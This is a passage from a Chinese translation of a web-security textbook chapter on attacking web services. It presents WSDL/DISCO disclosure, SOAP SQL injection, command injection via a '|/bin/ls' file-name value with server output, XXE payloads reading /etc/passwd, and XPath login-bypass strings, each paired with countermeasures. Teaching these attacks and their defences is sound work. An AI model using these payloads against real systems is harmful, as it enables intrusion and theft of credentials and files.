7.2 攻击Web服务

好了,背景资料已经足够。Web服务在现实的攻击下会遇到什么问题呢?本节将讨论我们在最近的咨询工作中遇到的实例。

DISCO和WSDL泄露

只要在服务请求后面附加特殊的参数,Microsoft Web服务(.asmx文件)可能交出DISCO和/或WSDL,例如,下面的URL将会连接到一个Web服务并且显示服务的人类可理解的界面:

http://www.victim.com/service.asmx

在这个URL后附加?disco或者?WSDL可以显示DISCO或WSDL信息,如:

http://www.victim.com/service.asmx?disco

以及:

http://www.victim.com/service.asmx?wsdl

图7-6展示了对Web服务的这种攻击的结果。这个示例中的数据是无害的(你可能预想一个服务希望公布自己的信息),但是我们在这类输出中看到过一些很不好的东西:SQL Server凭据、敏感文件和目录的路径,以及Web开发人员喜欢塞进配置文件中的所有好东西。WSDL信息非常广泛——我们已经讨论过,它列出了所有服务端点和数据类型。在开始恶意的输入攻击之前,黑客还能要求得更多吗?

图7-6 用?disco参数转储远程Web服务的DISCO信息

我们还应该注意,你可能通过审阅Web服务或者相关页面的HTML源代码,找到DISCO文件的确切文件名。我们在本章前面对DISCO的讨论中,看到了在HTML中实施的对DISCO文件位置的“提示”方法。

DISCO和WSDL泄露对策

假定你打算发布关于Web服务的一些信息,为了避免DISCO或者WSDL泄露成为严重的问题,最好是避免在XML中出现敏感或者私有的数据。对文件存在的目录访问权的严正也是个好主意。确保DISCO或WSDL信息不会落到入侵者手中的唯一办法是避免创建相关的.wsdl、.discomap、.disco和.xsd文件。如果有这些文件,那么就是为了发布而设计的!

注入攻击

大部分Web服务容易遭到的主要攻击是所有软件程序的通病:输入校验。实际上,我们发现Web服务甚至比“经典”的基于HTTP/HTML的Web应用更容易遭到攻击。这是因为大部分开发人员假定与Web服务通信的是一台计算机而不是人。例如,下面的SOAP请求说明了SQL注入是如何在Web服务调用中完成的。粗体的部分是用于accountNumber参数的SQL注入攻击:


<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http:/
/www.w3.org/2001/XMLSchema">
  <soap:Body>
    <InjectMe xmlns="http://tempuri.org/">
      <accountNumber>0' OR '1' = '1</accountNumber>
    </InjectMe>
  </soap:Body>
</soap:Envelope>

接下来,我们将介绍一个通过SOAP服务执行远程命令的示例。这个特殊的服务用于将图像从一种格式转换为另一种,问题的根源在于这个服务从用户输入中取得文件名,将其直接放入命令行。我们在如下的请求中注入了一个简单的/bin/ls命令(粗体部分),获得服务器上的目录列表。当然,我们可以做更坏的事情。


POST /services/convert.php HTTP/1.0
Content-Length: 544
SoapAction: http://www.host.com/services/convert.php
Host: www.host.com
Content-Type: text/xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?><SOAPENV:
Envelope xmlns:SOAPSDK1="http://www.w3.org/2001/XMLSchema"
xmlns:SOAPSDK2="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAPSDK3="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAPENV:
Body><SOAPSDK4:convert xmlns:SOAPSDK4="http://www.host.com/
services/"><SOAPSDK1:source>|/bin/ls</
SOAPSDK1:source><SOAPSDK1:from>test</SOAPSDK1:from><SOAPSDK1:to>test</
SOAPSDK1:to></SOAPSDK4:convert></SOAP-ENV:Body></SOAP-ENV:Envelope>

下面是服务器的响应。注意粗体部分中ls命令的输出。


HTTP/1.1 200 OK
Date: Tue, 18 May 2010 09:34:01 GMT
Server: Apache/1.3.26 (Unix) mod_ssl/2.8.9 OpenSSL/0.9.6a ApacheJServ/
1.1.2 PHP/4.2.2
X-Powered-By: PHP/4.2.2
Connection: close
Content-Type: text/html
<cTypeface:Bold>Warning</b>: fopen("cv/200301182241371.|/bin/ls",
"w+") - No such file or directory in <cTypeface:Bold>/usr/home/www/services/
convert.php</b> on line <cTypeface:Bold>24</b><br />
<br />
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAPENV:
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.
w3.org/2001/
XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/
encoding/" xmlns:si="http://soapinterop.org/xsd"><SOAP-ENV:Body><conve
rtResponse><return xsi:type="xsd:string">class.smtp.php
convert.php
convertclient.php
dns.php
dns_rpc.php
dnsclient.php
index.php
mailer.php
</return></convertResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

注入攻击对策

Web服务的输入注入对策和经典的Web应用相同:输入/输出校验。我们在第6章中已经作了详细介绍。

外部实体攻击

XML允许文档或者文件通过外部实体的使用嵌入原始的XML文档中。实体和XML简写类似,允许一个标记与插入XML中的特定文本块或者其他数据关联。例如,实体的声明类似于下面这种形式:


<!DOCTYPE bookcollection [
      <!ENTITY WS "Web Security">
      <!ENTITY W "Wireless Security">
      <!ENTITY NS "Network Security">
      <!ENTITY HS "Host Security">
      <!ENTITY PS "Physical Security">
]>

现在,这些实体可以在XML文档中使用,引用时使用短的名称,在XML文档分发时完全展开:


<bookcollection>
   <title id="1">Web Hacking Exposed</title>
   <category>&WS;</category >
   <year>2010</year>
   <title id="2">Hacking Exposed</title>
   <category>&NS;</category>
   <year>2010</year>
</bookcollection>

解析后的完整XML文档应该是这样的:


<bookcollection>
   <title id="1">Web Hacking Exposed</title>
   <category>Web Security</category >
   <year>2010</year>
   <title id="2">Hacking Exposed</title>
   <category>Network Security</category>
   <year>2010</year>
</bookcollection>

可以看到,这是很好的简写,使得所有内容都很容易管理。实体也可以声明为外部实体,实体声明指向包含分发数据的远程位置,这正是漏洞所在。例如,考虑如下的外部实体引用:


<!DOCTYPE foo [<!ENTITY test SYSTEM "http://www.test.com/test.txt"><!ELEMENT
foo ANY>]>

将这个外部实体引用注入到SOAP请求中,接收的SOAP服务器将读取http://www.test.com/test.txt处的文件,将test.txt的内容注入到SOAP请求。下面是一个SOAP请求的示例,我们已经注入了外部实体请求示例的内容(粗体):


<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE foo [<!ENTITY test SYSTEM "http://www.test.com
/test.txt"><!ELEMENT foo ANY>]>
<SOAP-ENV:Envelope xmlns:SOAPSDK1="http://www.w3.org/2001/XMLSchema"
xmlns:SOAPSDK2="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAPSDK3="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAPENV="
http://schemas.xmlsoap.org/soap/envelope/">
      <SOAP-ENV:Body>
            <SOAPSDK4:login xmlns:SOAPSDK4="urn:MBWS-SoapServices">
                   <SOAPSDK1:userName></SOAPSDK1:userName>
                   <SOAPSDK1:authenticationToken></
SOAPSDK1:authenticationToken>
            </SOAPSDK4:login>
            <foo>&test;</foo>
      </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

SOAP服务器返回以下响应:


HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY test SYSTEM "http://www.test.com/test.txt";>
<foo>... This is the content from the file test.txt ...</foo>

注意,SOAP服务器解析该请求,并且读取位于“http://www.test.com/test.txt”的内容。然后,服务器显示常规的SOAP输出和文件“test.txt”的内容。更恶意的攻击实例是通知SOAP服务器返回系统密码文件,这只需要修改指向的URL位置就可以做到。将外部实体改成“/etc/passwd”,如下所示,系统将返回密码文件:


<!DOCTYPE foo [<!ENTITY test SYSTEM "/etc/passwd"><!ELEMENT foo ANY>]>

使用这种攻击可以做到:

·在外部实体中包含相对路径,读取系统之外的文件。

·使用SOAP服务器作为网关,从其他Web服务器读取文件。

·发送恶意的文件名(如著名的Win32设备名CON、AUX、COM1)对SOAP服务器进行拒绝服务攻击。

·使用SOAP服务器对其他系统进行匿名端口扫描。

XML外部实体对策

如果你处理不可信的XML输入,应该禁止外部实体。为XML解析器指定一个遇到外部实体时就中止的处理程序,就可以很好地完成这一工作。

XPath和XQuery注入攻击

XPath是一种用于查询XML文档的语言(更多的信息参见本章结尾处的“参考与延伸阅读”小节),它的工作方式与SQL类似,使用的方法也几乎相同。例如,假设我们有一个XML文件,内容如下:


<?xml version="1.0" encoding="utf-8" ?>
<Books>
      <Book>
            <Author>Joel Scambray, Stuart McClure, George Kurtz</Author>
            <Title>Hacking Exposed</Title>
            <Publisher>McGraw-Hill Professional</Publisher>
      </Book>
<Book>
            <Author>Joel Scambray, Stuart McClure</Author>
            <Title> Hacking Exposed Windows 3</Title>
            <Publisher>McGraw-Hill Professional</Publisher>
</Book>
<Book>
            <Author>Joel Scambray, Vincent Liu, Caleb Sima</Author>
            <Title> Hacking Exposed Web Applications 3</Title>
            <Publisher>McGraw-Hill Professional</Publisher>
</Book>
</Books>

XPath查询使开发人员能够浏览和搜索文件中的每个节点,而不需要解析整个XML文件(这么做通常效率很低)。使用XPath查询,开发人员可以简单地返回所有匹配的节点。我们用前面的例子来讲解XPath查询的工作原理。

XML格式化为多个节点。在前一个示例中,Author、Title和Publisher是Book节点的元素。XPath中用/s引用节点。返回这个XML的所有Titles的查询是:/Books/Book/Title。XPath也支持通配符和简写,所以相同结果的等价请求可以简写为//Title。两个斜杠表明从节点的根开始,直到找到匹配Title的结果。请求Book节点下的所有元素的XPath查询将是/Books/Book/*。XPath有许多不同的特性和功能,但是现在我们有足够的背景知识,可以阐述攻击的构建方法。XPath注入的工作原理与SQL注入相同:如果XPath查询用用户提供的输入构建,就可以注入任意的命令。我们来看看Web服务内建的一个XPath查询示例。我们将用户输入转换为XPath查询的代码用粗体显示,这段代码用于确定用户名/密码与文件上设置是否匹配:


XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression Xexpr = nav.Compile("string(//user[name/text()='"+
Username.Text+"' and password/text()='"+Password.Text+ "']/account/
text())");
String account=Convert.ToString(nav.Evaluate(Xexpr));
if (account=="") {
// Login failed.
} else {
// Login succeeded.
}

和SQL注入一样,攻击者现在只要找到一个方法来编造输入,使XPath结果始终返回真值,就可以获得登录的授权。我们用经典的SQL注入技术来实现——注入一个始终为“真”的表达式:


User: ' or 1=1 or ''='
Password: junk

现在XPath查询变成


//user[name/text()='' or 1=1 or ''='' and password/text()='junk'

这个查询将返回有效用户的完整列表并且验证攻击者(即使没有提供有效的用户名/密码)。其他一些常见的能够注入XPath查询的恶意载荷包括:


' or 1=1 or ''='
//*
*/*
@/
count(//*)

使用XPath盲注(参见“参考与延伸阅读”中Amit Klein关于这一主题的杰出论文的链接)也可能提取整个XML数据库。XQuery本质上是XPath的扩展集,具有多种新特性,例如条件语句、程序流和内建及用户定义的函数。除了语法上的不同之外,前面讨论的所有XPath攻击都适用于XQuery。

XPath和XQuery注入对策

因为XPath注入与SQL注入非常相似,所以对策也几乎相同。参见第6章对这些对策的详细讨论。更多避免这些问题的附加信息也可以参见本章结尾处的“参考与延伸阅读”小节。